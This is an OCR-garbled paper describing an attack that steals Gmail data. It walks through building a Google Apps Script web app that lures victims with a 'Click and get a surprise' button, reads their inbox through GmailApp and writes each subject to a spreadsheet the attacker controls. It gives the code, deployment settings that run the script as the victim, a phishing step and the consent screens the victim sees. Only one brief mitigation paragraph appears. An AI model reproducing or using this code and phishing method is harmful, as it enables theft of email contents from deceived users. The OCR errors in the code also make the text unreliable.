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Introduction

This paper contains the exploitation of vulnerabilities for collecting email
information using Google utilities via App Script using the Gmail App class. This
paper exposes the design of a web application that collects mail information

from users with associated Google mail accounts.

Deployment

Web Application

The application containing the exploit code is developed with App Script using
a web application that is deployed on Google's free servers for Gmail accounts.
For the above it is necessary to have a file with the main page (Figure 1) the
utilities for the collection of mail information (Figure 2) and for the storage of

the information in Google sheets (Figure 3 and 4).

M Recibidos (2) - utilities1926107- % 8 Xploit Mail Gathering x|+ QD - o x

€ C oa google.com o ® =
Xploit Mail Gathering utlities 1926 1074@gmail com ~
Archivo Editar Ver Ejecutar Publicar Recursos Ayuda

| O Seleccionar funcidn

Index.htm!

]

#buttonl{
width: 256px;
height: 98px;
font-size: 28px;

st id="buttonl” type='"button" onclick="run33():" value="Click and get a surprise”; >

<scripts
function run33(){
google.script.run.ExtractMails();
alert("Xploit MSG');
}
</script>
</body>
</html>
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Figure 1. Index.html
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var _document = "1-y1MgUtIOeiJiutLNGhJXinmOCy10cBSUQINNbWELGE™ ;
var _sheet = "Mails";

function writeSheet(data){
var ss = SpreadsheetApp.openByLd(_document);
var sheet = ss5.getSheetByName(_sheet);
var row = sheet.getlLastRow();
sheet.getRange(row+1,1).setValue(data);
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Figure 2. Utilities.gs
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1 function ExtractMails() {

2 var threads = GmailApp.getInboxThreads();

3 var data;

4 for (var 1 = 8; 1 < threads.length; i++) {

5 data = threads[i].getFirstMessageSubject();
6 Logger.log(data);

7 writeSheet(data);

8 }

9

8

}
.

s project is published

Figure 3. Mail.gs
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Figure 4. Mail Gathering Google Sheet

Deployment
To run the application correctly it is necessary to deploy the application using
the options Execute the app as: User accessing the web app and Who has access

to the app: Anyone (Figure 5).
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var _document = "1-y1MqUtIOeiJiutLNGhJXinmOCy10cBS
var _sheet = "Mails"; Current web app URL Disable web app
function writeSheet(data){ https://script.google.com/macros/s/AKfycbxaRRFVSVWE

var ss = SpreadsheetApp.openById(_document);
var sheet = ss.getSheetByName(_sheet);

var row = sheet.getlLastRow();

sheat .getRange(row+1,1).setValue(data); Project version:

Test web app for your lales! code.
. Nuevo v

Execute the app as:
User accessing the web app v
Users will be asked to authorize the script.

Who has access to the app:
Anyone v

m Cancelar Ayuda

This project is published

Figure 5. Deployment



The web application should be displayed as follows:
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Figure 6. WebApp

Phishing
To access the victim's information, it is necessary a Phishing mechanism, for
which an email with the access link and an attractive message with an offer

(Figure 7) can be sent to the victim (Figure 8 and 9).
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Figure 7. Phishing Mail (Attacker)
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Figure 8. Phishing Mail in Inbox Google Mail (Victim user)
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Figure 9. Phishing Mail (Victim user)

When the victim accesses the application for the first time, it is necessary to
accept the access permissions to the application, for which the permissions
review window appears (Figure 10), it is requested to select the access account
(Figure 11), an application not verified message appears (Figure 12), then a list

of the services or functions of the application is displayed (Figure 13).
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Xploit Mail Gathering (Unverified)
The developer of Xploit Mail Gathering,

utilities 1926 1074@gmail.com, needs your permission to access
your data on Google.

When reviewing permissions, consider whether you
trust Xploit Mail Gathering.

REVIEW PERMISSIONS

Figure 10. Grant permissions (Victim user)

@ Inicia sesién: Cuentas de Google - Google Chrome

@ accounts.google.com

”~ P . r
& Iniciar sesion con Google

Selecciona una cuenta
para ir a Xploit Mail Gathering

Luis Rodriguez
luis08179221@gmail.com

(® Usarotracuenta

Figure 11. Select Gmail Account (Victim user)



@ Inicia sesién: Cuentas de Google - Google Chrome

@ accounts.google.com

Google no ha verificado esta aplicacién

La aplicacion esta solicitando acceso a informacion sensible de tu cuenta de Google. No
deberias utilizar esta aplicacion hasta que el desarrollador
(utilities19261074@gmail.com) la verifique con Google.

Ocultar configuracion avanzada VOLVER AL MODO SEGURO

Continda solo si entiendes los riesgos que esto conlleva y confias en el desarrollador
(utilities19261074@gmail.com).

Ir a Xploit Mail Gathering (no seguro)

https://accounts.google.com/#

Figure 12. Go site -no safe mode- (Victim user)
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siguiente:

M Leer redactar, enviar y eliminar @
permanentemente correos de Gmail

®  Ver editar, crear y eliminar todas tus hojas de @
calculo de Hojas de calculo de Google

Confirma que confias en Xploit Mail Gathering

Puede que estés compartiendo informacion sensible con
este sitio 0 esta aplicacion. Puedes ver o retirar el acceso
en cualquier momento en tu cuenta de Google.

Descubre como te ayuda Google a
compartir datos de forma segura.

Consulta la Politica de Privacidad y los Términos del
Servicio de Xploit Mail Gathering.

Cancelar Permitir

Figure 13. Accept functions (Victim user)
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Figure 14. Notification (Victim user)

Exploitation

Exploitation is performed automatically with the execution of the event defined
in the application, in this case the extraction of the e-mail information will be
performed with the execution of the "Click and get a surprise" button (Figure

15 and 16).
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Figure 15. Go site (Victim user)
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Figure 16. Click button (Victim user)

When the victim user executes the function, the information of the emails is
stored in the Google sheet previously defined by the attacker (Figure 17). In this
case only the subject was extracted, however it is possible to access all the

content and identification information of the emails.
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Figure 17. Mail Gathering Google Sheet (Attacker)
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Mitigation
To mitigate this vulnerability through Google applications it is necessary to only
allow access to those applications of users that you know perfectly well,
preferably only accept applications that are in an authorized domain within a

company, otherwise the function to extract information can be executed with

any event of the browser, even with the start of opening the page of the site.
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